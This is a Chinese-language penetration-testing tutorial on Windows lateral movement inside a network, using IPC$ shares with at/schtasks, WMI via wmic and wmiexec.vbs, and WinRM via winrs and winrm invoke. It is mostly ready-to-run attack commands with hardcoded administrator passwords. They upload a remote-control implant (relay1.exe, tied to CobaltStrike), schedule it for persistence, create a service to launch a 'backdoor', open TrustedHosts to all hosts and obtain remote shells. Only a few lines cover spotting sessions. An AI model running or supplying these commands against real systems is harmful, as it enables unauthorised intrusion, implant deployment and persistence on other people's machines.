跳到主要内容

内网横向

在内网渗透过程中获取到某台内网机器的控制权限之后,结合现有的内网信息将权限扩大到另一台或者另一个网段的机器权限,从而突破逻辑隔离等边界限定,获取到重大成果,此过程称之为内网横向渗透。

Windows

IPC+AT横向

IPC介绍

概述

IPC共享“命令管道”的资源,是为了实现进程间通信而开放的命名管道

IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用

建立IPC$

通过ipc$,与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器中执行命令,获取目标机中的信息

1.建立ipc$的命令之后通过 "net use" 查看当前的连接

利用条件:

1、目标机开启了139和445端口; 2、目标主机管理员开启了ipc$默认共享; 3、知道目标机的账户密码。

IPC$的连接失败的原因

  • 用户名或密码错误
  • 目标机没有打开 ipc$ 默认共享
  • 不能成功连接目标的139、445端口
  • 命令出现错误
错误号说明
5拒绝访问
53找不到网络路径,包括IP错误、目标没开机、目标防火墙进行端口过滤
1219提供的凭据与已存在的凭据集冲突
1326未知的用户名或密码错误
2242用户的密码已经过期

image-20221124234916964

net share  #查看本机默认共享

image-20221124235611282

#建立连接
net use \\192.168.172.100\c$ /user:administrator ICQsafe666
#查看本地已经连接的IPC$
net use
#查看目标机器的数据
dir \\192.168.172.100\c$\
#查看文本文件内容
type \\192.168.172.100\c$\whoami.txt
#上传文件
cp shell.txt \\192.168.172.100\c$\shell1.txt
#复制目标机器的文件到本地
cp \\192.168.172.100\c$\shell1.txt .
#删除文件
del \\192.168.172.100\c$\shell1.txt
#将目标机器的磁盘映射到本地z盘
net use z: \\192.168.172.100\c$ /user:administrator ICQsafe666
#查看z盘
dir z:

排查

#查看本机被连接的会话
net session
net session /list
#断开会话
net session \\192.168.172.1 /delete

默认路径

C$|ipc$ ==> c:ADMIN$ ==> c:\windowsUsers ==> c:\users

net use \\192.168.172.100 /user:administrator ICQsafe666

建立IPC连接

dir \\192.168.172.100\c$

查看目标主机c根目录的文件

image-20221124235913501

cp shell.txt \\192.168.172.100\c$\shell.txt

复制本地文件到目标服务器上

image-20221125000123732

type \\192.168.172.100\c$\shell.txt

查看目标主机c:\result.txt文件内容

image-20221125000238426

del \\192.168.172.100\c$\shell.txt

删除目标机器的文件

image-20221125000209085

tasklist /s 192.168.172.100 /U administrator /P ICQsafe666

查看目标主机的进程信息

image-20221125000742020

copy 本地文件 \\10.10.0.200\c$\windows\temp\

复制本地文件到目标机器的指定c:\windows\temp\

目标机器执行net session 可以查看当前建立的ipc会话列表

image-20221125000855095

cp relay1.exe \\10.10.0.200\c$\relay1.exe  #上传远控文件至目标服务器
copy \10.10.0.200\c$\relay1.exe c:\ #下载目标服务器的文件至本地
net use #查看已经连接ipc
net use * /del /y #删除连接
net time \\10.10.0.200 #查看目标机器的当前时间
at \\10.10.0.200 9:53 \\10.10.0.200\c$\relay1.exe #添加一条计划任务,指定时间为9:53运行\\10.10.0.200\c$\relay1.exe(可以利用CobaltStrike上线边界机,利用边界机创建中继监听器,利用中继监听器生成远控,通过针对目标机器创建计划任务运行远控上线CS)
at \\10.10.0.200 #查看目标主机的计划任务
at \\10.10.0.200 3 /delete #删除指定目标机器的计划任务隐匿
# at在windows server 2008以后弃用
schtasks /create /s 10.10.0.200 /u administrator /p ICQsafe666 /tn relay2 /sc minute /st 10:15 /tr c:\relay1.exe /f #创建计划任务指定时间运行
schtasks /create /s 10.10.0.200 /u administrator /p ICQsafe666 /tn relay2 /sc onstart /tr c:\relay1.exe /f #创建计划任务在启动时运行
schtasks /run /s 10.10.0.200 /u administrator /p ICQsafe666 /tn relay2 /f #运行指定计划任务
schtasks /delete /s 10.10.0.200 /u administrator /p ICQsafe666 /tn relay2 /f #删除指定计划任务

schtasks-create官方文档

https://learn.microsoft.com/zh-cn/windows-server/administration/windows-commands/schtasks-create

在域机器上管理计划任务

创建任务

schtasks /create /tn task1 /U 域名\域用户 /P 域用户密码 /tr 命令 /SC ONSTART /s 域机器ip /RU system

C:\Users\Administrator>schtasks /create /tn task1 /U pentest.local\administrator /P ICQsafe666 /tr "cmd.exe /c whoami > c:/1.txt" /SC ONSTART /s 192.168.172.100 /RU system

运行任务

schtasks /run /tn task1 /s 192.168.10.2 /u 域\域用户 /P 域用户密码

C:\Users\Administrator>schtasks /F /delete /tn task1 /s 192.168.172.100 /u pentest.local\administrator /p ICQsafe666

image-20221125002642531

WMI横向

WMI:(Windows Management Instrumentation; Windows 管理规范),是用户管理本地和远程计算机的一种 模型。通过它可以访问、配置、管理和监视几乎所有的Windows资源。WMI的语法十分简单,基本上常见的命 名空间、对象等用几乎一模一样。它对应的是Windows里的WMI服务(winmgmt)。

在 windows 2000之后的操作系统中内置了该服务。WMI使用公共信息模型(CIM)表示托管组件,其中包括系 统、应用程序、网络等等。CIM中使用类表示管理对象,命名空间是一个类的集合。

通过使用135端口上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务, 例如远程启动服务或执行命令。

利用create创建进程:wmic process call create /?

创建一个进程执行cmd.exe /c whoami > c:\whoami.txt

wmic /node:192.168.172.100 /user:administrator /password:ICQsafe666 process call create "cmd.exe /c whoami > c:\whoami.txt"

创建一个进程执行c:\relay1.exe

wmic /node:10.10.0.200 /user:administrator /password:ICQsafe666 process call create "c:\relay1.exe"

Cscript传递

说明:自带的 cscript 为明文传递,有回显,但是需要事先传入 wmiexec.vbs 文件,需要目标服务器开启 135 端口

前提条件:

  • 获得明文密码
  • 只能在本地执行
  • 需要administrator用户账号,普通权限连接不成功
  • 跳板机任意权限
cscript //nologo wmiexec.vbs /shell 192.168.172.100 administrator ICQsafe666 #工作组
cscript //nologo wmiexec.vbs /shell 192.168.172.100 pentest.local\administrator ICQsafe666 #域内
cscript //nologo wmiexec.vbs /shell 192.168.172.100 administrator ICQsafe666

前提:wmiexec.vbs文件能上传到执行命令的主机上去

前提:拿到被控机交互式shell,反弹shell

运行后得到目标机器交互式shell,执行命令......

image-20221125003658058

WinRM横向

WinRM (Windows Remote Management)指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行。

winrs.exe:基于命令行的工具,此工具作为客户端使用,用于远程连接运行WinRM的服务器并执行大多数的cmd命令。

WinRM服务在Windows Vista和Windows Server 2008已经默认安装,但windows 7 和 windows server 2008需要手动启动,从Windows Server 2008 r2开始WinRM自动启动,监听5985端口(HTTP)和5986端口(HTTPS)。

winRM横向移动同时适用于工作组和域环境。

利用条件

通信的双方都需要开启WinRM服务

WinRS 适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。

只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。

命令开启WinRM服务:

winrm quickconfig -q

判断是否开启WinRM服务

winrm enumerate winrm/config/listener
netstat -ano | findstr 5985
wmic service list brief | findstr WinRM
sc query | findstr "WinRM"

image-20221125004310486

查看WinRM具体配置

winrm get winrm/config

命令开启WinRM服务:

winrm quickconfig -q

WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问。

设置允许远程主机访问及访问远程主机[攻击机(WEB机器)与靶机(PC机器)均要配置]

winrm set winrm/config/client @{TrustedHosts="*"}
攻击机执行
C:\Users\Administrator\Desktop>winrm quickconfig -q
C:\Users\Administrator\Desktop>winrm set winrm/config/Client @{TrustedHosts="*"}
C:\Users\Administrator\Desktop>winrs -r:192.168.172.100 -u:pentest.local\administrator -p:ICQsafe666

利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。

winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}

命令调用了Windows WMI中Win32_process类的Create方法,生成了一个calc.exe的新进程

image-20221125005732898

在远程机器上打开进程

winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://192.168.172.100:5985 -u:pentest.local\administrator -p:ICQsafe666

在远程机器上创建&启动服务

创建服务
winrm invoke Create wmicimv2/Win32_Service @{Name="test";DisplayName="test";PathName="cmd.exe /k c:\windows\temp\relay.exe"} -r:http://192.168.172.100:5985 -u:pentest.local\administrator -p:ICQsafe666

启动服务
winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://192.168.172.100:5985 -u:pentest.local\administrator -p:ICQsafe666
运行后门
winrm invoke create wmicimv2/win32_process @{Commandline="cmd.exe /k c:\windows\temp\relay.exe"} -r:http://192.168.172.100:5985 -u:pentest.local\administrator -p:ICQsafe666